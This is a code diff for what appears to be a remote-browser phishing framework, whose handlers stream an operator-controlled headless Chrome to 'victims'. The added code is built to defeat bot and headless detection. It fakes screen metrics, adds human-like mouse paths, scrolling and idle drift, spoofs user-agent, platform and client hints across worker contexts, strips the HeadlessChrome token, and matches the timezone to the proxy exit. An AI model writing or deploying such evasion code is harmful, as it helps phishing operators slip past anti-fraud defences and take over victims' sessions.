diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go index b4d4db9..3522349 100644 --- a/backend/controller/remoteBrowser.go +++ b/backend/controller/remoteBrowser.go @@ -662,28 +662,36 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { // Stored as int64 atomics so they can be read from the BrowserCh goroutine // without a mutex; 0 means "not yet received". var vpWidth, vpHeight atomic.Int64 - var vpDpr atomic.Int64 // recipient devicePixelRatio × 100; 0 means "not yet received" + var vpScreenW, vpScreenH atomic.Int64 // recipient screen.width/height; 0 means "not yet received" // applyViewport sets the emulated viewport on the rod page if we have both a page - // and a non-zero victim viewport. DeviceScaleFactor is set to the recipient's real - // devicePixelRatio so a full-page stream is rendered at their device resolution and - // stays crisp on HiDPI screens instead of being upscaled. Clamped to [1,2] to bound - // bandwidth (each extra factor multiplies the screencast pixel count). + // and a non-zero victim viewport. DeviceScaleFactor is pinned to 1: a value != 1 + // makes Chrome compute mouse movementX/movementY in a scaled space, so + // movementX != clientX - prevClientX for CDP-injected events, which detectors flag + // as a CDP mouse leak. Rendering at DSF 1 is slightly softer on HiDPI but keeps the + // injected mouse coordinates internally consistent. applyViewport := func(page *rod.Page) { w := vpWidth.Load() h := vpHeight.Load() if w <= 0 || h <= 0 || page == nil { return } - dsf := float64(vpDpr.Load()) / 100 - if dsf < 1 { - dsf = 1 + // Mirror the recipient's real screen so screen.width/height stays consistent + // with the emulated viewport. Without a screen override the viewport + // (innerWidth/Height) exceeds the headless window's default 800x600 screen, + // which detectors flag as impossible. Fall back to the viewport size when the + // recipient did not report a screen, which still keeps screen >= viewport. + sw := int(vpScreenW.Load()) + if sw < int(w) { + sw = int(w) } - if dsf > 2 { - dsf = 2 + sh := int(vpScreenH.Load()) + if sh < int(h) { + sh = int(h) } proto.EmulationSetDeviceMetricsOverride{ - Width: int(w), Height: int(h), DeviceScaleFactor: dsf, + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + ScreenWidth: &sw, ScreenHeight: &sh, }.Call(page) //nolint:errcheck } @@ -725,9 +733,11 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { KeyCode int64 `json:"keyCode"` Modifiers int64 `json:"modifiers"` CharText string `json:"charText"` - Width float64 `json:"width"` - Height float64 `json:"height"` - Dpr float64 `json:"dpr"` + Width float64 `json:"width"` + Height float64 `json:"height"` + Dpr float64 `json:"dpr"` + ScreenWidth float64 `json:"screenWidth"` + ScreenHeight float64 `json:"screenHeight"` } if json.Unmarshal(msg, &cmd) != nil { continue @@ -735,8 +745,9 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 { vpWidth.Store(int64(cmd.Width)) vpHeight.Store(int64(cmd.Height)) - if cmd.Dpr > 0 { - vpDpr.Store(int64(cmd.Dpr * 100)) + if cmd.ScreenWidth > 0 && cmd.ScreenHeight > 0 { + vpScreenW.Store(int64(cmd.ScreenWidth)) + vpScreenH.Store(int64(cmd.ScreenHeight)) } applyViewport(sess.getBrowserPage()) continue @@ -1341,17 +1352,47 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { return } var header struct { - Type string `json:"type"` - TargetID string `json:"targetID"` - X1 float64 `json:"x1"` - Y1 float64 `json:"y1"` - X2 float64 `json:"x2"` - Y2 float64 `json:"y2"` + Type string `json:"type"` + TargetID string `json:"targetID"` + X1 float64 `json:"x1"` + Y1 float64 `json:"y1"` + X2 float64 `json:"x2"` + Y2 float64 `json:"y2"` + Width float64 `json:"width"` + Height float64 `json:"height"` + ScreenWidth float64 `json:"screenWidth"` + ScreenHeight float64 `json:"screenHeight"` + Dpr float64 `json:"dpr"` } if json.Unmarshal(msg, &header) != nil { continue } switch header.Type { + case "viewport": + // Editor test runs only: size the target to the admin's own resolution + // so remote control is pixel-accurate instead of the headless 800x600 + // default. Gated on isTest so a live recipient's viewport is never + // touched here — the victim owns the shared target's size, and resizing + // it under an operator would change what the recipient sees. + if controlMode && sess.isTest && header.Width > 0 && header.Height > 0 { + if p := getActivePage(); p != nil { + // DeviceScaleFactor pinned to 1: a value != 1 makes Chrome scale + // mouse movementX/movementY, breaking the movementX == clientX + // delta relationship for CDP events (a CDP mouse leak). + sw := int(header.ScreenWidth) + if sw < int(header.Width) { + sw = int(header.Width) + } + sh := int(header.ScreenHeight) + if sh < int(header.Height) { + sh = int(header.Height) + } + proto.EmulationSetDeviceMetricsOverride{ + Width: int(header.Width), Height: int(header.Height), DeviceScaleFactor: 1, + ScreenWidth: &sw, ScreenHeight: &sh, + }.Call(p) //nolint:errcheck + } + } case "switch_tab": tabsMu.Lock() entry, ok := tabs[proto.TargetTargetID(header.TargetID)] diff --git a/backend/embedded/remotebrowser_inject.js b/backend/embedded/remotebrowser_inject.js index 04ea1dd..a79c0ad 100644 --- a/backend/embedded/remotebrowser_inject.js +++ b/backend/embedded/remotebrowser_inject.js @@ -7,7 +7,7 @@ var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly ws.onopen = function () { - ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight, dpr: window.devicePixelRatio || 1 })); + ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight, dpr: window.devicePixelRatio || 1, screenWidth: screen.width, screenHeight: screen.height })); }; // Apply stream_start sizing to an already-mounted stream entry. diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go index 3a7f029..539fd39 100644 --- a/backend/remotebrowser/browser.go +++ b/backend/remotebrowser/browser.go @@ -803,12 +803,12 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, }.Call(page) //nolint:errcheck } - // humanMoveTo moves the CDP cursor from the last tracked position to - // (targetX, targetY) along a cubic Bezier curve with ease-in-out timing - // and optional micro-jitter, mimicking natural hand movement. - // durationMs <= 0 picks a random value in [200, 400]. - // jitterPx < 0 uses the default amplitude of 1.5 px. - humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) { + // bezierMoveTo moves the CDP cursor from the last tracked position to + // (targetX, targetY) along a cubic Bezier curve with ease-in-out timing and + // micro-jitter. Per-step timing is varied (and occasionally paused) so the + // inter-event intervals are not uniform, which a constant tick rate would be. + // durationMs <= 0 picks a random value in [200, 400]; jitterPx < 0 uses 1.5 px. + bezierMoveTo := func(targetX, targetY, durationMs, jitterPx float64) { if durationMs <= 0 { durationMs = 200 + rand.Float64()*200 } @@ -832,12 +832,14 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, c2x := startX + dx*0.67 + perpX*(rand.Float64()*2-1)*maxDev c2y := startY + dy*0.67 + perpY*(rand.Float64()*2-1)*maxDev - steps := int(durationMs / 10) - if steps < 5 { - steps = 5 + // Roughly one sample every 8-14 ms, scaled by distance so short hops still + // emit several points and long sweeps stay smooth. + steps := int(durationMs / (8 + rand.Float64()*6)) + if steps < 6 { + steps = 6 } - if steps > 60 { - steps = 60 + if steps > 80 { + steps = 80 } stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps)) @@ -860,13 +862,48 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, } cdpMouseMove(bx, by) if i < steps { - time.Sleep(stepDur) + // Vary each interval by +/-30% so speed is not machine-constant, and + // occasionally hesitate the way a real hand does mid-motion. + d := time.Duration(float64(stepDur) * (0.7 + rand.Float64()*0.6)) + if rand.Float64() < 0.08 { + d += time.Duration(20+rand.Intn(45)) * time.Millisecond + } + time.Sleep(d) } } cdpMouseMove(targetX, targetY) mouseX, mouseY = targetX, targetY } + // humanMoveTo wraps bezierMoveTo, adding overshoot-and-correct for longer + // moves: a real pointer tends to shoot slightly past a distant target and then + // make a short corrective motion back onto it, rather than landing dead center. + humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) { + dx, dy := targetX-mouseX, targetY-mouseY + dist := math.Sqrt(dx*dx + dy*dy) + if dist > 300 { + mainDur := durationMs + if mainDur <= 0 { + mainDur = 260 + rand.Float64()*220 + } + over := 0.04 + rand.Float64()*0.06 // land 4-10% past the target + bezierMoveTo(targetX+dx*over, targetY+dy*over, mainDur*0.85, jitterPx) + // Brief settle, then correct back onto the target. + select { + case <-page.GetContext().Done(): + return + case <-time.After(time.Duration(40+rand.Intn(50)) * time.Millisecond): + } + corr := jitterPx + if corr > 0 { + corr *= 0.6 + } + bezierMoveTo(targetX, targetY, 90+rand.Float64()*70, corr) + return + } + bezierMoveTo(targetX, targetY, durationMs, jitterPx) + } + pc.Set("moveMouse", func(call goja.FunctionCall) goja.Value { targetX := call.Argument(0).ToFloat() targetY := call.Argument(1).ToFloat() @@ -926,6 +963,83 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, return goja.Undefined() }) + // humanScroll scrolls the page by deltaY CSS pixels (positive = down) using + // eased mouse-wheel events with jittered step sizes and intervals, instead of a + // single instant jump. An options object may set { duration } in ms. + pc.Set("humanScroll", func(call goja.FunctionCall) goja.Value { + totalY := call.Argument(0).ToFloat() + durationMs := 350.0 + rand.Float64()*350 + if len(call.Arguments) > 1 { + if obj := call.Argument(1).ToObject(vm); obj != nil { + if v := obj.Get("duration"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + durationMs = v.ToFloat() + } + } + } + dbg(fmt.Sprintf("→ humanScroll %.0f", totalY)) + steps := int(math.Abs(totalY)/90) + 4 + if steps > 40 { + steps = 40 + } + stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps)) + var done float64 + for i := 1; i <= steps; i++ { + select { + case <-page.GetContext().Done(): + return goja.Undefined() + default: + } + t := float64(i) / float64(steps) + te := t * t * (3 - 2*t) // ease-in-out + target := totalY * te + delta := target - done + done = target + // Jitter each wheel notch so deltas are not perfectly smooth. + delta += (rand.Float64()*2 - 1) * math.Abs(delta) * 0.15 + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseWheel, + X: math.Round(mouseX), + Y: math.Round(mouseY), + DeltaX: 0, + DeltaY: delta, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + if i < steps { + d := time.Duration(float64(stepDur) * (0.7 + rand.Float64()*0.6)) + time.Sleep(d) + } + } + dbg(fmt.Sprintf("✓ humanScroll %.0f", totalY)) + return goja.Undefined() + }) + + // humanIdle spends about ms milliseconds producing low-amplitude pointer drift + // interleaved with pauses, the way a person rests a hand on the mouse. Use it to + // accumulate natural behavioural signal on pages that classify inactivity as bot. + pc.Set("humanIdle", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + dbg(fmt.Sprintf("→ humanIdle %dms", ms)) + deadline := time.Now().Add(time.Duration(ms) * time.Millisecond) + for time.Now().Before(deadline) { + select { + case <-page.GetContext().Done(): + return goja.Undefined() + default: + } + nx := mouseX + (rand.Float64()*2-1)*40 + ny := mouseY + (rand.Float64()*2-1)*30 + humanMoveTo(nx, ny, 120+rand.Float64()*180, -1) + select { + case <-page.GetContext().Done(): + return goja.Undefined() + case <-time.After(time.Duration(200+rand.Intn(600)) * time.Millisecond): + } + } + dbg(fmt.Sprintf("✓ humanIdle %dms", ms)) + return goja.Undefined() + }) + pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value { sel := argStr(call.Argument(0)) dbg("→ scrollIntoView " + sel) @@ -1372,8 +1486,13 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, w := call.Argument(0).ToInteger() h := call.Argument(1).ToInteger() dbg(fmt.Sprintf("→ setViewport %dx%d", w, h)) + // Override the screen dimensions to match the viewport. Otherwise screen.* + // stays at the headless window default (800x600) while innerWidth/Height take + // the new size, which detectors flag as an impossible viewport-exceeds-screen. + sw, sh := int(w), int(h) must(proto.EmulationSetDeviceMetricsOverride{ Width: int(w), Height: int(h), DeviceScaleFactor: 1, + ScreenWidth: &sw, ScreenHeight: &sh, }.Call(page)) dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h)) return goja.Undefined() @@ -1383,9 +1502,11 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, w := call.Argument(0).ToInteger() h := call.Argument(1).ToInteger() dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h)) + sw, sh := int(w), int(h) must(proto.EmulationSetDeviceMetricsOverride{ Width: int(w), Height: int(h), DeviceScaleFactor: 1, - Mobile: true, + Mobile: true, + ScreenWidth: &sw, ScreenHeight: &sh, }.Call(page)) must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page)) dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h)) @@ -1402,7 +1523,20 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value { ua := argStr(call.Argument(0)) dbg("→ setUserAgent " + ua) - must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page)) + // Set platform and client-hint metadata alongside the UA string. A string-only + // override leaves navigator.platform and Sec-CH-UA untouched, so they contradict + // the UA. Two limits remain, both unavoidable at the page level: + // - This override is page scoped and does not reach the service worker, which + // keeps the process (launch-flag) identity. For an identity consistent across + // every context, pass userAgent to newSession() instead of calling this. + // - navigator.platform in worker contexts follows the host OS and cannot be + // overridden, so a cross-OS UA (e.g. macOS on a Linux host) still mismatches + // there. Prefer a UA whose OS matches the host. + must(proto.EmulationSetUserAgentOverride{ + UserAgent: ua, + Platform: uaPlatform(ua), + UserAgentMetadata: uaMetadata(ua), + }.Call(page)) dbg("✓ setUserAgent") return goja.Undefined() }) diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go index bb1938b..959848e 100644 --- a/backend/remotebrowser/runner.go +++ b/backend/remotebrowser/runner.go @@ -9,6 +9,7 @@ import ( "errors" "fmt" "os" + "os/exec" "path/filepath" "regexp" "strings" @@ -32,13 +33,124 @@ type Config struct { Headless bool `json:"headless"` // run Chrome in headless mode (mode=local) Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout Lang string `json:"lang"` // BCP 47 locale e.g. "en-US" (mode=local) + Timezone string `json:"timezone"` // IANA timezone e.g. "Europe/Copenhagen" to match the exit network ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags e.g. ["--use-gl=egl"] (mode=local) } const DefaultTimeout = 60_000 // ms -// DefaultChromiumUA default user-agent -const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" +// DefaultChromiumUA is the fallback user-agent used when the real browser version +// cannot be probed. It presents a Linux Chrome identity matching the host OS so +// navigator.platform, the client hints, and every worker context stay consistent. +// A Windows disguise cannot: navigator.platform is not overridable in worker and +// service-worker contexts, so it always contradicts a Windows UA there. The major +// version tracks the bundled Chromium (rod RevisionDefault); prefer the real, +// probed version via detectChromeMajor at runtime. +const DefaultChromiumUA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" + +// chromeVersionRe matches a full Chromium version like "128.0.6568.0". +var chromeVersionRe = regexp.MustCompile(`(\d+)\.\d+\.\d+\.\d+`) + +// uaChromeMajorRe extracts the major version from a UA string ("Chrome/128..."). +var uaChromeMajorRe = regexp.MustCompile(`Chrome/(\d+)`) + +// detectChromeMajor runs ` --version` and returns the major version, e.g. +// "128" from "Chromium 128.0.6568.0". Returns "" when the binary cannot be probed; +// the caller falls back to DefaultChromiumUA. Probing the real binary keeps the +// spoofed UA version in lockstep with the engine, so a version cross-check cannot +// catch a UA that claims a version the engine does not support. +func detectChromeMajor(ctx context.Context, bin string) string { + c, cancel := context.WithTimeout(ctx, 5*time.Second) + defer cancel() + out, err := exec.CommandContext(c, bin, "--version").Output() + if err != nil { + return "" + } + if m := chromeVersionRe.FindStringSubmatch(string(out)); m != nil { + return m[1] + } + return "" +} + +// linuxChromeUA builds a reduced Linux Chrome user-agent for the given major +// version, matching Chrome's UA-reduction format (minor, build, and patch zeroed). +func linuxChromeUA(major string) string { + return fmt.Sprintf( + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s.0.0.0 Safari/537.36", + major) +} + +// cleanHeadlessUA strips the "HeadlessChrome" token from a real user-agent so a +// remote headless browser reports as ordinary Chrome. Used only in remote mode, +// where a launch flag is not available. +func cleanHeadlessUA(ua string) string { + return strings.ReplaceAll(ua, "HeadlessChrome", "Chrome") +} + +// uaPlatform returns the navigator.platform value that matches ua's OS token. +func uaPlatform(ua string) string { + switch { + case strings.Contains(ua, "Windows"): + return "Win32" + case strings.Contains(ua, "Macintosh"), strings.Contains(ua, "Mac OS"): + return "MacIntel" + default: + return "Linux x86_64" + } +} + +// uaMetadata builds client-hint metadata (Sec-CH-UA / navigator.userAgentData) +// consistent with ua's version and OS. Setting this alongside the UA string avoids +// the empty-client-hints tell that a string-only override produces. +func uaMetadata(ua string) *proto.EmulationUserAgentMetadata { + major := "128" + if m := uaChromeMajorRe.FindStringSubmatch(ua); m != nil { + major = m[1] + } + platform := "Linux" + switch { + case strings.Contains(ua, "Windows"): + platform = "Windows" + case strings.Contains(ua, "Macintosh"), strings.Contains(ua, "Mac OS"): + platform = "macOS" + } + return &proto.EmulationUserAgentMetadata{ + Brands: []*proto.EmulationUserAgentBrandVersion{ + {Brand: "Not;A=Brand", Version: "24"}, + {Brand: "Chromium", Version: major}, + {Brand: "Google Chrome", Version: major}, + }, + Platform: platform, + Architecture: "x86", + Bitness: "64", + Mobile: false, + } +} + +// applyRemoteIdentity aligns a remote browser's main-frame identity via CDP. +// Remote mode cannot take a launch flag, so this strips any "HeadlessChrome" token +// from the real UA and sets a matching platform and client-hint metadata. Worker +// contexts of a remote browser inherit the remote's own process UA and are out of +// our control here; operators should run a non-headless remote browser. +func applyRemoteIdentity(page *rod.Page, customUA string, emitter *channelEmitter) { + ua := customUA + if ua == "" { + if ver, err := (proto.BrowserGetVersion{}).Call(page); err == nil { + ua = cleanHeadlessUA(ver.UserAgent) + } + if ua == "" { + ua = DefaultChromiumUA + } + } + override := &proto.NetworkSetUserAgentOverride{ + UserAgent: ua, + Platform: uaPlatform(ua), + UserAgentMetadata: uaMetadata(ua), + } + if err := page.SetUserAgent(override); err != nil { + emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err)) + } +} // DefaultConfig returns a default config. func DefaultConfig() Config { @@ -462,11 +574,13 @@ func (r *Runner) Run(ctx context.Context) error { QueryTimeout int // ms; 0 = no timeout on read ops UserAgent string Lang string // BCP 47 locale, e.g. "en-US" - sets --lang flag (local mode only) + Timezone string // IANA timezone, e.g. "Europe/Copenhagen" - overrides browser timezone ExtraFlags []string // additional Chrome CLI flags e.g. ["--use-gl=egl"] (local mode only) } opts := sessionOpts{ Headless: r.Config.Headless, Lang: r.Config.Lang, + Timezone: r.Config.Timezone, ExtraFlags: r.Config.ExtraFlags, } if r.Config.Proxy != "" { @@ -506,6 +620,9 @@ func (r *Runner) Run(ctx context.Context) error { if v := obj.Get("lang"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { opts.Lang = v.String() } + if v := obj.Get("timezone"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Timezone = v.String() + } if v := obj.Get("extraFlags"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { if arr, ok := v.Export().([]interface{}); ok { for _, item := range arr { @@ -520,6 +637,9 @@ func (r *Runner) Run(ctx context.Context) error { var browser *rod.Browser var page *rod.Page + // launchUA is the identity applied in local mode via the --user-agent launch + // flag; it also drives the OS-appropriate WebGL renderer choice below. + var launchUA string if opts.Remote != "" { if opts.Proxy != "" { @@ -534,7 +654,12 @@ func (r *Runner) Run(ctx context.Context) error { return goja.Undefined() } emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", wsURL)) - browser = rod.New().ControlURL(wsURL).Context(outerCtx) + // NoDefaultDevice disables rod's default LaptopWithMDPIScreen emulation, + // which otherwise overrides every new page with a macOS Chrome 114 UA, an + // "en" Accept-Language, and a 1280x800 device-metrics override. Those + // contradict the real Linux platform, blank the client hints, and make the + // viewport exceed the screen. We manage identity ourselves instead. + browser = rod.New().ControlURL(wsURL).Context(outerCtx).NoDefaultDevice() if connectErr := browser.Connect(); connectErr != nil { emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr)) return goja.Undefined() @@ -586,13 +711,15 @@ func (r *Runner) Run(ctx context.Context) error { "XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"), )...) + var binPath string if r.ExecPath != "" { - emitter.log(fmt.Sprintf("[session] using browser: %s", r.ExecPath)) - l = l.Bin(r.ExecPath) + binPath = r.ExecPath + emitter.log(fmt.Sprintf("[session] using browser: %s", binPath)) + l = l.Bin(binPath) } else { b := launcher.NewBrowser() b.RootDir = rootDir - binPath := b.BinPath() + binPath = b.BinPath() if _, err := os.Stat(binPath); os.IsNotExist(err) { if err := b.Download(); err != nil { emitter.errorf(fmt.Sprintf("browser download failed: %v", err)) @@ -602,6 +729,25 @@ func (r *Runner) Run(ctx context.Context) error { emitter.log(fmt.Sprintf("[session] using browser: %s", binPath)) l = l.Bin(binPath) } + + // Set the user-agent at the process level via the launch flag so every + // context (main frame, web workers, and service workers) reports the same + // identity. A page-level CDP override does not reach service workers, which + // then leak the real "HeadlessChrome" UA and the true OS and version. When + // no custom UA is given we present a Linux Chrome identity matching the host + // OS and the real engine version, so navigator.platform, the client hints, + // and the version stay consistent across every context. + launchUA = opts.UserAgent + if launchUA == "" { + if major := detectChromeMajor(outerCtx, binPath); major != "" { + launchUA = linuxChromeUA(major) + } else { + launchUA = DefaultChromiumUA + } + } + emitter.log(fmt.Sprintf("[session] using user-agent: %s", launchUA)) + l = l.Set("user-agent", launchUA) + if opts.Proxy != "" { emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy)) l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "") @@ -648,7 +794,11 @@ func (r *Runner) Run(ctx context.Context) error { l.Kill() l.Cleanup() }() - browser = rod.New().ControlURL(u).Context(outerCtx) + // NoDefaultDevice disables rod's default LaptopWithMDPIScreen emulation + // (macOS Chrome 114 UA, "en" Accept-Language, 1280x800 device metrics), + // which would override the launch-flag identity on the window and make the + // viewport exceed the screen. We manage identity ourselves instead. + browser = rod.New().ControlURL(u).Context(outerCtx).NoDefaultDevice() if err := browser.Connect(); err != nil { emitter.errorf(fmt.Sprintf("browser connect failed: %v", err)) return goja.Undefined() @@ -666,35 +816,42 @@ func (r *Runner) Run(ctx context.Context) error { browser.Close() //nolint:errcheck return goja.Undefined() } - // patch console Log - _, err = page.EvalOnNewDocument(`() => { - const noop = () => {}; + // Note: console.* are deliberately left native. Replacing them with noop + // functions (to suppress page logging) makes console.log.toString() non-native, + // which trips TamperedFunctions. The console is not captured anyway — we never + // enable the Runtime domain (see the opsec note in browser.go), so no page + // console output reaches the server regardless. + } - console.log = noop; - console.table = noop; - console.clear = noop; - console.debug = noop; - console.info = noop; - console.warn = noop; - }`) - if err != nil { - emitter.errorf(fmt.Sprintf("console patch failed: %v", err)) - browser.Close() //nolint:errcheck - return goja.Undefined() + // Identity handling differs by mode: + // local — the UA is already set via the --user-agent launch flag above, + // which keeps every context (including service workers) consistent + // and preserves Chrome's native client hints. No CDP override here. + // remote — no launch flag is possible, so align the main frame via CDP: + // fetch the real UA, strip any "HeadlessChrome" token, and set a + // matching platform and client-hint metadata. + if opts.Remote != "" { + applyRemoteIdentity(page, opts.UserAgent, emitter) + } + + // Timezone override keeps the navigator/Intl timezone aligned with the exit + // network's geolocation. Left to the operator because only they know the + // proxy/exit location; an unset value keeps the host timezone. + if opts.Timezone != "" { + if err := (proto.EmulationSetTimezoneOverride{TimezoneID: opts.Timezone}).Call(page); err != nil { + emitter.log(fmt.Sprintf("[session] warning: failed to set timezone %q: %v", opts.Timezone, err)) + } else { + emitter.log(fmt.Sprintf("[session] using timezone: %s", opts.Timezone)) } } - // Apply user-agent override. When headless and no explicit UA is set we use - // DefaultChromiumUA to strip "HeadlessChrome" from the header - ua := opts.UserAgent - if ua == "" && opts.Headless { - ua = DefaultChromiumUA - } - if ua != "" { - if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil { - emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err)) - } - } + // Note: the software WebGL renderer (SwiftShader, from headless Chrome without a + // GPU) is intentionally NOT masked in JS. Overriding getParameter plus + // Function.prototype.toString to hide it trips TamperedFunctions, and a + // document-script override does not reach worker OffscreenCanvas contexts, so the + // window and workers report different renderers (hasInconsistentWorkerValues). + // Both are far stronger bot signals than SwiftShader itself. The correct fix is a + // real GPU at the browser level (headful + GPU, or an ANGLE GL backend), not JS. // Signal the controller that a page is ready for streaming. select { diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte index c142b18..c686979 100644 --- a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte @@ -89,6 +89,22 @@ ws.send(JSON.stringify({ type: 'close_tab', targetID })); } + // sendViewport reports the admin's resolution so a test run renders at their size. + // Mirrors the recipient viewport message; the backend ignores it for live sessions. + function sendViewport() { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + ws.send( + JSON.stringify({ + type: 'viewport', + width: window.innerWidth, + height: window.innerHeight, + dpr: window.devicePixelRatio || 1, + screenWidth: window.screen.width, + screenHeight: window.screen.height + }) + ); + } + function tabLabel(url) { if (!url || url === 'about:blank') return 'New tab'; try { @@ -117,10 +133,18 @@ let keyListenersAttached = false; + /** @type {ReturnType | undefined} */ + let resizeDebounce; + function onResize() { + clearTimeout(resizeDebounce); + resizeDebounce = setTimeout(sendViewport, 200); + } + function addKeyListeners() { if (keyListenersAttached) return; window.addEventListener('keydown', onKeyDown, true); window.addEventListener('keyup', onKeyUp, true); + window.addEventListener('resize', onResize); keyListenersAttached = true; } @@ -128,6 +152,8 @@ if (!keyListenersAttached) return; window.removeEventListener('keydown', onKeyDown, true); window.removeEventListener('keyup', onKeyUp, true); + window.removeEventListener('resize', onResize); + clearTimeout(resizeDebounce); keyListenersAttached = false; } @@ -142,6 +168,11 @@ ws.onopen = () => { status = 'Connected'; + // In control mode, tell the backend our resolution so an editor test run + // renders at the admin's own size instead of the headless 800x600 default. + // The backend applies this only for test sessions; a live recipient's + // viewport is left untouched. + if (controlMode) sendViewport(); fpsInterval = setInterval(() => { fps = frameCount; frameCount = 0;